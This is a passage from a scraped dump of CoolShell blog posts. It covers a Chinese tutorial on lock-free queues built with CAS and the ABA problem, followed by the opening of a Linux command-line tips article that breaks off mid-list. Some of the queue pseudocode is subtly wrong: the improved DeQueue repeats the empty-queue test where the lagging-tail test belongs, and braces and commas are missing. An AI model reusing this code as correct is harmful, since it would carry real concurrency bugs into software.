target=\"_blank\">Wikipedia的Compare And Swap</a>词条）意思就是说，看一看内存<code>*reg</code>里的值是不是<code>oldval</code>，如果是的话，则对其赋值<code>newval</code>。</p>\n<pre class=\"EnlighterJSRAW\">\nint compare_and_swap (int* reg, int oldval, int newval)\n{\n  int old_reg_val = *reg;\n  if (old_reg_val == oldval) {\n     *reg = newval;\n  }\n  return old_reg_val;\n}\n</pre>\n<p>我们可以看到，<code>old_reg_val</code> 总是返回，于是，我们可以在 <code>compare_and_swap</code> 操作之后对其进行测试，以查看它是否与 <code>oldval</code>相匹配，因为它可能有所不同，这意味着另一个并发线程已成功地竞争到 <code>compare_and_swap</code> 并成功将 <code>reg</code> 值从 <code>oldval</code> 更改为别的值了。</p>\n<p>这个操作可以变种为返回bool值的形式（返回 bool值的好处在于，可以调用者知道有没有更新成功）：</p>\n<pre class=\"EnlighterJSRAW\">bool compare_and_swap (int *addr, int oldval, int newval)\n{\n  if ( *addr != oldval ) {\n      return false;\n  }\n  *addr = newval;\n  return true;\n}</pre>\n<p>与CAS相似的还有下面的原子操作：（这些东西大家自己看Wikipedia，也没什么复杂的）</p>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Fetch-and-add\" rel=\"noopener noreferrer\" target=\"_blank\">Fetch And Add</a>，一般用来对变量做 +1 的原子操作</li>\n<li><a href=\"http://en.wikipedia.org/wiki/Test-and-set\" title=\"Test-and-set\">Test-and-set</a>，写值到某个内存位置并传回其旧值。汇编指令BST</li>\n<li><a href=\"http://en.wikipedia.org/wiki/Test_and_Test-and-set\" title=\"Test and Test-and-set\">Test and Test-and-set</a>，用来低低Test-and-Set的资源争夺情况</li>\n</ul>\n<p><strong>注：</strong>在实际的C/C++程序中，CAS的各种实现版本如下：</p>\n<p><span id=\"more-8239\"></span></p>\n<p><strong>1）GCC的CAS</strong></p>\n<p style=\"padding-left: 30px;\">GCC4.1+版本中支持CAS的原子操作（完整的原子操作可参看<a href=\"http://gcc.gnu.org/onlinedocs/gcc-4.1.1/gcc/Atomic-Builtins.html\" rel=\"noopener noreferrer\" target=\"_blank\"> GCC Atomic Builtins</a>）</p>\n<pre class=\"EnlighterJSRAW\">bool __sync_bool_compare_and_swap (type *ptr, type oldval type newval, ...)\ntype __sync_val_compare_and_swap (type *ptr, type oldval type newval, ...)</pre>\n<p><strong>2）Windows的CAS</strong></p>\n<p style=\"padding-left: 30px;\">在Windows下，你可以使用下面的Windows API来完成CAS：（完整的Windows原子操作可参看MSDN的<a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms686360(v=vs.85).aspx#interlocked_functions\" rel=\"noopener noreferrer\" target=\"_blank\">InterLocked Functions</a>）</p>\n<pre class=\"EnlighterJSRAW\"> InterlockedCompareExchange ( __inout LONG volatile *Target,\n                                 __in LONG Exchange,\n                                 __in LONG Comperand);</pre>\n<p><strong>3) C++11中的CAS</strong></p>\n<p style=\"padding-left: 30px;\">C++11中的STL中的atomic类的函数可以让你跨平台。（完整的C++11的原子操作可参看 <a href=\"http://en.cppreference.com/w/cpp/atomic\" rel=\"noopener noreferrer\" target=\"_blank\">Atomic Operation Library</a>）</p>\n<pre class=\"EnlighterJSRAW\">template&lt; class T &gt;\nbool atomic_compare_exchange_weak( std::atomic* obj,\n                                   T* expected, T desired );\ntemplate&lt; class T &gt;\nbool atomic_compare_exchange_weak( volatile std::atomic* obj,\n                                   T* expected, T desired );\n</pre>\n<h4>无锁队列的链表实现</h4>\n<p>下面的代码主要参考于两篇论文：</p>\n<ul>\n<li>John D. Valois 1994年10月在拉斯维加斯的并行和分布系统系统国际大会上的一篇论文——《<a href=\"http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.53.8674&amp;rep=rep1&amp;type=pdf\" rel=\"noopener noreferrer\" target=\"_blank\">Implementing Lock-Free Queues</a>》</li>\n<li>美国纽约罗切斯特大学 Maged M. Michael 和 Michael L. Scott 在1996年3月发表的一篇论文 《<a href=\"https://www.cs.rochester.edu/u/scott/papers/1996_PODC_queues.pdf\" rel=\"noopener noreferrer\" target=\"_blank\">Simple, Fast, and Practical Non-Blocking and Blocking ConcurrentQueue Algorithms</a>》</li>\n</ul>\n<p>（注：下面的代码并不完全与这篇论文相同）</p>\n<p>初始化一个队列的代码很简，初始化一个dummy结点（注：在链表操作中，使用一个dummy结点，可以少掉很多边界条件的判断），如下所示：</p>\n<pre class=\"EnlighterJSRAW\">\nInitQueue(Q)\n{\n    node = new node()\n    node-&gt;next = NULL;\n    Q-&gt;head = Q-&gt;tail = node;\n}\n</pre>\n<p>我们先来看一下进队列用CAS实现的方式，基本上来说就是链表的两步操作：</p>\n<ol>\n<li>第一步，把tail指针的next指向要加入的结点。 <code>tail-&gt;next = p;</code></li>\n<li>第二步，把tail指针移到队尾。 <code>tail = p;</code></li>\n</ol>\n<pre class=\"EnlighterJSRAW\">\nEnQueue(Q, data) //进队列\n{\n    //准备新加入的结点数据\n    n = new node();\n    n-&gt;value = data;\n    n-&gt;next = NULL;\n\n    do {\n        p = Q-&gt;tail; //取链表尾指针的快照\n    } while( CAS(p-&gt;next, NULL, n) != TRUE); \n    //while条件注释：如果没有把结点链在尾指针上，再试\n\n    CAS(Q-&gt;tail, p, n); //置尾结点 tail = n;\n}</pre>\n<p>我们可以看到，程序中的那个 do-while 的 Retry-Loop 中的 CAS 操作：如果 <code>p-&gt;next</code> 是 <code>NULL</code>，那么，把新结点 <code>n</code> 加到队尾。如果不成功，则重新再来一次！</p>\n<p>就是说，很有可能我在准备在队列尾加入结点时，别的线程已经加成功了，于是tail指针就变了，于是我的CAS返回了false，于是程序再试，直到试成功为止。这个很像我们的抢电话热线的不停重播的情况。</p>\n<p>但是你会看到，为什么我们的“置尾结点”的操作（第13行）不判断是否成功，因为：</p>\n<ol>\n<li>如果有一个线程T1，它的while中的CAS如果成功的话，那么其它所有的 随后线程的CAS都会失败，然后就会再循环，</li>\n<li>此时，如果T1 线程还没有更新tail指针，其它的线程继续失败，因为<code>tail-&gt;next</code>不是NULL了。</li>\n<li>直到T1线程更新完 <code>tail</code> 指针，于是其它的线程中的某个线程就可以得到新的 <code>tail</code> 指针，继续往下走了。</li>\n<li>所以，只要线程能从 while 循环中退出来，意味着，它已经“独占”了，<code>tail</code> 指针必然可以被更新。</li>\n</ol>\n<p>这里有一个潜在的问题——<strong>如果T1线程在用CAS更新tail指针的之前，线程停掉或是挂掉了，那么其它线程就进入死循环了</strong>。下面是改良版的EnQueue()</p>\n<pre class=\"EnlighterJSRAW\">EnQueue(Q, data) //进队列改良版 v1\n{\n    n = new node();\n    n-&gt;value = data;\n    n-&gt;next = NULL;\n\n    p = Q-&gt;tail;\n    oldp = p\n    do {\n        while (p-&gt;next != NULL)\n            p = p-&gt;next;\n    } while( CAS(p.next, NULL, n) != TRUE); //如果没有把结点链在尾上，再试\n\n    CAS(Q-&gt;tail, oldp, n); //置尾结点\n}</pre>\n<p>我们让每个线程，自己fetch 指针 <code>p</code> 到链表尾。但是这样的fetch会很影响性能。而且，如果一个线程不断的EnQueue，会导致所有的其它线程都去 fetch 他们的 <code>p</code> 指针到队尾，能不能不要所有的线程都干同一个事？这样可以节省整体的时间？</p>\n<p>比如：直接 fetch <code>Q-&gt;tail</code> 到队尾？因为，所有的线程都共享着 Q-&gt;tail，所以，一旦有人动了它后，相当于其它的线程也跟着动了，于是，我们的代码可以改进成如下的实现：</p>\n<pre class=\"EnlighterJSRAW\">\nEnQueue(Q, data) //进队列改良版 v2 \n{\n    n = new node();\n    n-&gt;value = data;\n    n-&gt;next = NULL;\n\n    while(TRUE) {\n        //先取一下尾指针和尾指针的next\n        tail = Q-&gt;tail;\n        next = tail-&gt;next;\n\n        //如果尾指针已经被移动了，则重新开始\n        if ( tail != Q-&gt;tail ) continue;\n\n        //如果尾指针的 next 不为NULL，则 fetch 全局尾指针到next\n        if ( next != NULL ) {\n            CAS(Q-&gt;tail, tail, next);\n            continue;\n        }\n\n        //如果加入结点成功，则退出\n        if ( CAS(tail-&gt;next, next, n) == TRUE ) break;\n    }\n    CAS(Q-&gt;tail, tail, n); //置尾结点\n}\n</pre>\n<p>上述的代码还是很清楚的，相信你一定能看懂，而且，这也是 Java 中的 <code>ConcurrentLinkedQueue</code> 的实现逻辑，当然，我上面的这个版本比 Java 的好一点，因为没有 if 嵌套，嘿嘿。</p>\n<p>好了，我们解决了EnQueue，我们再来看看DeQueue的代码：（很简单，我就不解释了）</p>\n<pre class=\"EnlighterJSRAW\">\nDeQueue(Q) //出队列\n{\n    do{\n        p = Q-&gt;head;\n        if (p-&gt;next == NULL){\n            return ERR_EMPTY_QUEUE;\n        }\n    while( CAS(Q-&gt;head, p, p-&gt;next) != TRUE );\n    return p-&gt;next-&gt;value;\n}</pre>\n<p><strong>我们可以看到，DeQueue的代码操作的是 <code>head-&gt;next</code>，而不是 <code>head</code> 本身。这样考虑是因为一个边界条件，我们需要一个dummy的头指针来解决链表中如果只有一个元素，<code>head</code> 和 <code>tail</code> 都指向同一个结点的问题，这样 <code>EnQueue</code> 和 <code>DeQueue</code> 要互相排斥了</strong>。</p>\n<p>但是，如果 <code>head</code> 和 <code>tail</code> 都指向同一个结点，这意味着队列为空，应该返回 <code>ERR_EMPTY_QUEUE</code>，但是，在判断 <code>p-&gt;next == NULL</code> 时，另外一个EnQueue操作做了一半，此时的 p-&gt;next 不为 NULL了，但是 tail 指针还差最后一步，没有更新到新加的结点，这个时候就会出现，在 EnQueue 并没有完成的时候， DeQueue 已经把新增加的结点给取走了，此时，队列为空，但是，head 与 tail 并没有指向同一个结点。如下所示：</p>\n<p><img alt=\"\" class=\"aligncenter wp-image-20047\" height=\"537\" src=\"../wp-content/uploads/2012/09/lock.free_.queue_-224x300.png\" width=\"400\"/></p>\n<p>虽然，EnQueue的函数会把 tail 指针置对，但是，这种情况可能还是会导致一些并发问题，所以，严谨来说，我们需要避免这种情况。于是，我们需要加入更多的判断条件，还确保这个问题。下面是相关的改进代码：</p>\n<pre class=\"EnlighterJSRAW\">\nDeQueue(Q) //出队列，改进版\n{\n    while(TRUE) {\n        //取出头指针，尾指针，和第一个元素的指针\n        head = Q-&gt;head;\n        tail = Q-&gt;tail;\n        next = head-&gt;next;\n\n        // Q-&gt;head 指针已移动，重新取 head指针\n        if ( head != Q-&gt;head ) continue;\n        \n        // 如果是空队列\n        if ( head == tail &amp;&amp; next == NULL ) {\n            return ERR_EMPTY_QUEUE;\n        }\n        \n        //如果 tail 指针落后了\n        if ( head == tail &amp;&amp; next == NULL ) {\n            CAS(Q-&gt;tail, tail, next);\n            continue;\n        }\n\n        //移动 head 指针成功后，取出数据\n        if ( CAS( Q-&gt;head, head, next) == TRUE){\n            value = next-&gt;value;\n            break;\n        }\n    }\n    free(head); //释放老的dummy结点\n    return value;\n}</pre>\n<p>上面这段代码的逻辑和 Java 的 <code>ConcurrentLinkedQueue</code> 的 <code>poll</code> 方法很一致了。也是《<a href=\"https://www.cs.rochester.edu/u/scott/papers/1996_PODC_queues.pdf\" rel=\"noopener noreferrer\" target=\"_blank\">Simple, Fast, and Practical Non-Blocking and Blocking ConcurrentQueue Algorithms</a>》这篇论文中的实现。</p>\n<h4>CAS的ABA问题</h4>\n<p>所谓ABA（<a href=\"http://en.wikipedia.org/wiki/ABA_problem\" rel=\"noopener noreferrer\" target=\"_blank\">见维基百科的ABA词条</a>），问题基本是这个样子：</p>\n<ol>\n<li>进程P1在共享变量中读到值为A</li>\n<li>P1被抢占了，进程P2执行</li>\n<li>P2把共享变量里的值从A改成了B，再改回到A，此时被P1抢占。</li>\n<li>P1回来看到共享变量里的值没有被改变，于是继续执行。</li>\n</ol>\n<p>虽然P1以为变量值没有改变，继续执行了，但是这个会引发一些潜在的问题。<strong>ABA问题最容易发生在lock free 的算法中的，CAS首当其冲，因为CAS判断的是指针的值。很明显，值是很容易又变成原样的。</strong></p>\n<p>比如上述的DeQueue()函数，因为我们要让head和tail分开，所以我们引入了一个dummy指针给head，当我们做CAS的之前，如果head的那块内存被回收并被重用了，而重用的内存又被EnQueue()进来了，这会有很大的问题。（<strong>内存管理中重用内存基本上是一种很常见的行为</strong>）</p>\n<p>这个例子你可能没有看懂，维基百科上给了一个活生生的例子——</p>\n<blockquote><p>你拿着一个装满钱的手提箱在飞机场，此时过来了一个火辣性感的美女，然后她很暖昧地挑逗着你，并趁你不注意的时候，把用一个一模一样的手提箱和你那装满钱的箱子调了个包，然后就离开了，你看到你的手提箱还在那，于是就提着手提箱去赶飞机去了。</p></blockquote>\n<p>这就是ABA的问题。</p>\n<h4>解决ABA的问题</h4>\n<p>维基百科上给了一个解——使用double-CAS（双保险的CAS），例如，在32位系统上，我们要检查64位的内容</p>\n<p style=\"padding-left: 30px;\">1）一次用CAS检查双倍长度的值，前半部是值，后半部分是一个计数器。</p>\n<p style=\"padding-left: 30px;\">2）只有这两个都一样，才算通过检查，要吧赋新的值。并把计数器累加1。</p>\n<p>这样一来，ABA发生时，虽然值一样，但是计数器就不一样（但是在32位的系统上，这个计数器会溢出回来又从1开始的，这还是会有ABA的问题）</p>\n<p>当然，我们这个队列的问题就是不想让那个内存重用，这样明确的业务问题比较好解决，论文《<a href=\"http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.53.8674&amp;rep=rep1&amp;type=pdf\" rel=\"noopener noreferrer\" target=\"_blank\">Implementing Lock-Free Queues</a>》给出一这么一个方法——<strong>使用结点内存引用计数refcnt</strong>！（论文《<a href=\"https://www.cs.rochester.edu/u/scott/papers/1996_PODC_queues.pdf\" rel=\"noopener noreferrer\" target=\"_blank\">Simple, Fast, and Practical Non-Blocking and Blocking ConcurrentQueue Algorithms</a>》中的实现方法也基本上是一样的，用到的是增加一个计数，可以理解为版本号）</p>\n<p>）</p>\n<pre class=\"EnlighterJSRAW\">SafeRead(q)\n{\n    loop:\n        p = q-&gt;next;\n        if (p == NULL){\n            return p;\n        }\n\n        Fetch&amp;Add(p-&gt;refcnt, 1);\n\n        if (p == q-&gt;next){\n            return p;\n        }else{\n            Release(p);\n        }\n    goto loop;\n}</pre>\n<p>其中的 Fetch&amp;Add和Release分是是加引用计数和减引用计数，都是原子操作，这样就可以阻止内存被回收了。</p>\n<h4>用数组实现无锁队列</h4>\n<p>本实现来自论文《<a href=\"http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.53.8674&amp;rep=rep1&amp;type=pdf\" rel=\"noopener noreferrer\" target=\"_blank\">Implementing Lock-Free Queues</a>》</p>\n<p>使用数组来实现队列是很常见的方法，因为没有内存的分部和释放，一切都会变得简单，实现的思路如下：</p>\n<p style=\"padding-left: 30px;\">1）数组队列应该是一个ring buffer形式的数组（环形数组）</p>\n<p style=\"padding-left: 30px;\">2）数组的元素应该有三个可能的值：HEAD，TAIL，EMPTY（当然，还有实际的数据）</p>\n<p style=\"padding-left: 30px;\">3）数组一开始全部初始化成EMPTY，有两个相邻的元素要初始化成HEAD和TAIL，这代表空队列。</p>\n<p style=\"padding-left: 30px;\">4）EnQueue操作。假设数据x要入队列，定位TAIL的位置，使用double-CAS方法把(TAIL, EMPTY) 更新成 (x, TAIL)。需要注意，如果找不到(TAIL, EMPTY)，则说明队列满了。</p>\n<p style=\"padding-left: 30px;\">5）DeQueue操作。定位HEAD的位置，把(HEAD, x)更新成(EMPTY, HEAD)，并把x返回。同样需要注意，如果x是TAIL，则说明队列为空。</p>\n<p>算法的一个关键是——如何定位HEAD或TAIL？</p>\n<p style=\"padding-left: 30px;\">1）我们可以声明两个计数器，一个用来计数EnQueue的次数，一个用来计数DeQueue的次数。</p>\n<p style=\"padding-left: 30px;\">2）这两个计算器使用使用Fetch&amp;ADD来进行原子累加，在EnQueue或DeQueue完成的时候累加就好了。</p>\n<p style=\"padding-left: 30px;\">3）累加后求个模什么的就可以知道TAIL和HEAD的位置了。</p>\n<p>如下图所示：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-8240\" height=\"215\" src=\"../wp-content/uploads/2012/09/lock-free-array.jpg\" title=\"Lock-Free Queue(Array)\" width=\"477\"/></p>\n<h4 style=\"text-align: left;\"> 小结</h4>\n<p style=\"text-align: left;\">以上基本上就是所有的无锁队列的技术细节，这些技术都可以用在其它的无锁数据结构上。</p>\n<p style=\"text-align: left; padding-left: 30px;\">1）无锁队列主要是通过CAS、FAA这些原子操作，和Retry-Loop实现。</p>\n<p style=\"text-align: left; padding-left: 30px;\">2）对于Retry-Loop，我个人感觉其实和锁什么什么两样。只是这种“锁”的粒度变小了，主要是“锁”HEAD和TAIL这两个关键资源。而不是整个数据结构。</p>\n<p style=\"text-align: left;\">还有一些和Lock Free的文章你可以去看看：</p>\n<ul>\n<li>Code Project 上的雄文 《<a href=\"http://www.codeproject.com/Articles/153898/Yet-another-implementation-of-a-lock-free-circular\" rel=\"noopener noreferrer\" target=\"_blank\">Yet another implementation of a lock-free circular array queue</a>》</li>\n<li>Herb Sutter的《<a href=\"http://www.drdobbs.com/parallel/writing-lock-free-code-a-corrected-queue/210604448?pgno=1\" rel=\"noopener noreferrer\" target=\"_blank\">Writing Lock-Free Code: A Corrected Queue</a>》– 用C++11的std::atomic模板。</li>\n<li>IBM developerWorks的《<a href=\"http://www.ibm.com/developerworks/cn/aix/library/au-multithreaded_structures2/index.html\" rel=\"noopener noreferrer\" target=\"_blank\">设计不使用互斥锁的并发数据结构</a>》</li>\n</ul>\n<div>【<strong>注：我配了一张look-free的自行车，寓意为——如果不用专门的车锁，那么自行得自己锁自己！</strong>】</div>\n<p style=\"text-align: left;\"> （全文完）</p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10975.html\"><img alt=\"一个“蝇量级” C 语言协程库\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10975.html\">一个“蝇量级” C 语言协程库</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9886.html\"><img alt=\"二叉树迭代器算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9886.html\">二叉树迭代器算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6548.html\"><img alt=\"Why C++ ? 王者归来\" height=\"150\" src=\"../wp-content/uploads/2012/02/WhyCPP.01-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6548.html\">Why C++ ? 王者归来</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6010.html\"><img alt=\"一些有意思的算法代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6010.html\">一些有意思的算法代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8239.html\">无锁队列的实现</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-1-9 应该知道的Linux技巧.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-full wp-image-8899\" height=\"225\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225.jpg\" width=\"300\"/>这篇文章来源于Quroa的一个问答《<a href=\"http://www.quora.com/Linux/What-are-some-time-saving-tips-that-every-Linux-user-should-know#\" target=\"_blank\">What are some time-saving tips that every Linux user should know?</a>》—— Linux用户有哪些应该知道的提高效率的技巧。我觉得挺好的，总结得比较好，把其转过来，并加了一些自己的理解。 首先，我想告诉大家，<strong>在Unix/Linux下，最有效率技巧的不是操作图形界面，而是命令行操作，因为命令行意味着自动化</strong>。如果你看过《<a href=\"https://coolshell.cn/articles/8619.html\" target=\"_blank\" title=\"你可能不知道的Shell\">你可能不知道的Shell</a>》以及《<a href=\"https://coolshell.cn/articles/7829.html\" target=\"_blank\" title=\"28个Unix/Linux的命令行神器\">28个Unix/Linux的命令行神器</a>》你就会知道Linux有多强大，这个强大完全来自于命令行，于是，就算你不知道怎么去<a href=\"https://coolshell.cn/articles/7186.html\" target=\"_blank\" title=\"做个环保主义的程序员\">做一个环保主义的程序员</a>，至少他们可以让你少熬点夜，从而有利于你的身体健康和性生活。下面是一个有点长的列表，正如作者所说，你并不需要知道所有的这些东西，但是如果你还在很沉重地在使用Linux的话，这些东西都值得你看一看。 （注：如果你想知道下面涉及到的命令的更多的用法，你一定要man一点。对于一些命令，你可以需要先yum或apt-get来安装一下，如果有什么问题，别忘了Google。如果你要Baidu的话，我仅代表这个地球上所有的生物包括微生物甚至细菌病毒和小强BS你到宇宙毁灭）</p>\n<h4>基础</h4>\n<ul>\n<li><strong>学习 <a href=\"http://www.quora.com/Bash-shell\" target=\"_blank\">Bash</a> </strong>。你可以man bash来看看bash的东西，并不复杂也并不长。你用别的shell也行，但是bash是很强大的并且也是系统默认的。（学习zsh或tsch只会让你在很多情况下受到限制）</li>\n</ul>\n<ul>\n<li><strong>学习 vim</strong> 。在Linux下，基本没有什么可与之竞争的编<del>译</del>辑器（就算你是一个Emacs或Eclipse的重度用户）。你可以看看《<a href=\"https://coolshell.cn/articles/5426.html\" target=\"_blank\" title=\"简明 Vim 练级攻略\">简明vim攻略</a>》和 《<a href=\"https://coolshell.cn/articles/7166.html\" target=\"_blank\" title=\"游戏：VIM大冒险\">Vim的冒险游戏</a>》以及《<a href=\"https://coolshell.cn/articles/5479.html\" target=\"_blank\" title=\"给程序员的VIM速查卡\">给程序员的Vim速查卡</a>》还有《<a href=\"https://coolshell.cn/articles/894.html\" target=\"_blank\" title=\"将vim变得简单:如何在vim中得到你最喜爱的IDE特性\">把Vim变成一个编程的IDE</a>》等等。</li>\n</ul>\n<ul>\n<li><strong>了解 ssh</strong>。明白不需要口令的用户认证（通过ssh-agent, ssh-add），学会用ssh翻墙，用scp而不是ftp传文件，等等。你知道吗？scp 远端的时候，你可以按tab键来查看远端的目录和文件（当然，需要无口令的用户认证），这都是bash的功劳。</li>\n</ul>\n<p><span id=\"more-8883\"></span></p>\n<ul>\n<li><strong>熟悉bash的作业管理</strong>，如： &amp;, Ctrl-Z, Ctrl-C, jobs, fg, bg, kill, 等等。当然，你也要知道Ctrl+\\（SIGQUIT）和Ctrl+C （SIGINT）的区别。</li>\n</ul>\n<ul>\n<li><strong>简单的文件管理</strong> ： ls 和 ls -l (你最好知道 “ls -l” 的每一列的意思), less, head, tail 和 tail -f, ln 和 ln -s (你知道明白hard link和soft link的不同和优缺点), chown, chmod, du (如果你想看看磁盘的大小 du -sk *), df, mount。当然，原作者忘了find命令。</li>\n</ul>\n<ul>\n<li><strong>基础的网络管理</strong>： ip 或 ifconfig, dig。当然，原作者还忘了如netstat, ping, traceroute, 等</li>\n</ul>\n<ul>\n<li><strong>理解正则表达式</strong>，还有grep/egrep的各种选项。比如： -o, -A, 和 -B 这些选项是很值得了解的。</li>\n</ul>\n<ul>\n<li><strong>学习使用 apt-get 和 yum 来查找和安装软件</strong>（前者的经典分发包是Ubuntu，后者的经典分发包是Redhat），我还建议你试着从源码编译安装软件。</li>\n</ul>\n<p><b>日常</b></p>\n<ul>\n<li>在 bash 里，使用 Ctrl-R 而不是上下光标键来查找历史命令。</li>\n</ul>\n<ul>\n<li>在 bash里，使用 Ctrl-W 来删除最后一个单词，使用 Ctrl-U 来删除一行。请man bash后查找Readline Key Bindings一节来看看bash的默认热键，比如：Alt-. 把上一次命令的最后一个参数打出来，而Alt-* 则列出你可以输入的命令。</li>\n</ul>\n<ul>\n<li>回到上一次的工作目录： cd –  （回到home是 cd ~）</li>\n</ul>\n<ul>\n<li>使用 xargs。这是一个很强大的命令。你可以使用-L来限定有多少个命令，也可以用-P来指定并行的进程数。如果你不知道你的命令会变成什么样，你可以使用xargs echo来看看会是什么样。当然， -I{} 也很好用。示例：</li>\n</ul>\n<blockquote>\n<pre class=\"EnlighterJSRAW\">find . -name \\*.py | xargs grep some_function\n\ncat hosts | xargs -I{} ssh root@{} hostname</pre>\n</blockquote>\n<ul>\n<li>pstree -p 可以帮你显示进程树。（读过我的那篇《<a href=\"https://coolshell.cn/articles/7965.html\" target=\"_blank\" title=\"一个fork的面试题\">一个fork的面试题</a>》的人应该都不陌生）</li>\n</ul>\n<ul>\n<li>使用 pgrep 和 pkill 来找到或是kill 某个名字的进程。 (-f 选项很有用).</li>\n</ul>\n<ul>\n<li>了解可以发给进程的信号。例如：要挂起一个进程，使用 kill -STOP [pid]. 使用 man 7 signal 来查看各种信号，使用kill -l 来查看数字和信号的对应表</li>\n</ul>\n<ul>\n<li>使用 nohup 或  disown 如果你要让某个进程运行在后台。</li>\n</ul>\n<ul>\n<li>使用netstat -lntp来看看有侦听在网络某端口的进程。当然，也可以使用 lsof。</li>\n</ul>\n<ul>\n<li>在bash的脚本中，你可以使用 set -x 来debug输出。使用 set -e 来当有错误发生的时候abort执行。考虑使用 set -o pipefail 来限制错误。还可以使用trap来截获信号（如截获ctrl+c）。</li>\n</ul>\n<ul>\n<li>在bash 脚本中，subshells (写在圆括号里的) 是一个很方便的方式来组合一些命令。一个常用的例子是临时地到另一个目录中，例如：</li>\n</ul>\n<blockquote>\n<pre class=\"EnlighterJSRAW\"># do something in current dir\n(cd /some/other/dir; other-command)\n# continue in original dir</pre>\n</blockquote>\n<ul>\n<li>在 bash 中，注意那里有很多的变量展开。如：检查一个变量是否存在: ${name:?error message}。如果一个bash的脚本需要一个参数，也许就是这样一个表达式 input_file=${1:?usage: $0 input_file}。一个计算表达式： i=$(( (i + 1) % 5 ))。一个序列： {1..10}。 截断一个字符串： ${var%suffix} 和 ${var#prefix}。 示例： if var=foo.pdf, then echo ${var%.pdf}.txt prints “foo.txt”.</li>\n</ul>\n<ul>\n<li>通过 &lt;(some command) 可以把某命令当成一个文件。示例：比较一个本地文件和远程文件 /etc/hosts： diff /etc/hosts &lt;(ssh somehost cat /etc/hosts)</li>\n</ul>\n<ul>\n<li>了解什么叫 “<a href=\"http://zh.wikipedia.org/wiki/Here%E6%96%87%E6%A1%A3\" target=\"_blank\">here documents</a>” ，就是诸如 cat &lt;&lt;EOF 这样的东西。</li>\n</ul>\n<ul>\n<li>在 bash中，使用重定向到标准输出和标准错误。如： some-command &gt;logfile 2&gt;&amp;1。另外，要确认某命令没有把某个打开了的文件句柄重定向给标准输入，最佳实践是加上 “&lt;/dev/null”，把/dev/null重定向到标准输入。</li>\n</ul>\n<ul>\n<li>使用 man ascii 来查看 ASCII 表。</li>\n</ul>\n<ul>\n<li>在远端的 ssh 会话里，使用 screen 或 dtach 来保存你的会话。（参看《<a href=\"https://coolshell.cn/articles/7829.html\" target=\"_blank\" title=\"28个Unix/Linux的命令行神器\">28个Unix/Linux的命令行神器</a>》）</li>\n</ul>\n<ul>\n<li>要来debug Web，试试curl 和 curl -I 或是 wget 。我觉得debug Web的利器是firebug，curl和wget是用来抓网页的，呵呵。</li>\n</ul>\n<ul>\n<li>把 HTML 转成文本： lynx -dump -stdin</li>\n</ul>\n<ul>\n<li>如果你要处理XML，使用 xmlstarlet</li>\n</ul>\n<ul>\n<li>对于 Amazon S3， s3cmd 是一个很方便的命令（还有点不成熟）</li>\n</ul>\n<ul>\n<li>在 ssh中，知道怎么来使用ssh隧道。通过 -L or -D (还有-R) ，翻墙神器。</li>\n</ul>\n<ul>\n<li>你还可以对你的ssh 做点优化。比如，.ssh/config 包含着一些配置：避免链接被丢弃，链接新的host时不需要确认，转发认证，以前使用压缩（如果你要使用scp传文件）：</li>\n</ul>\n<blockquote>\n<pre 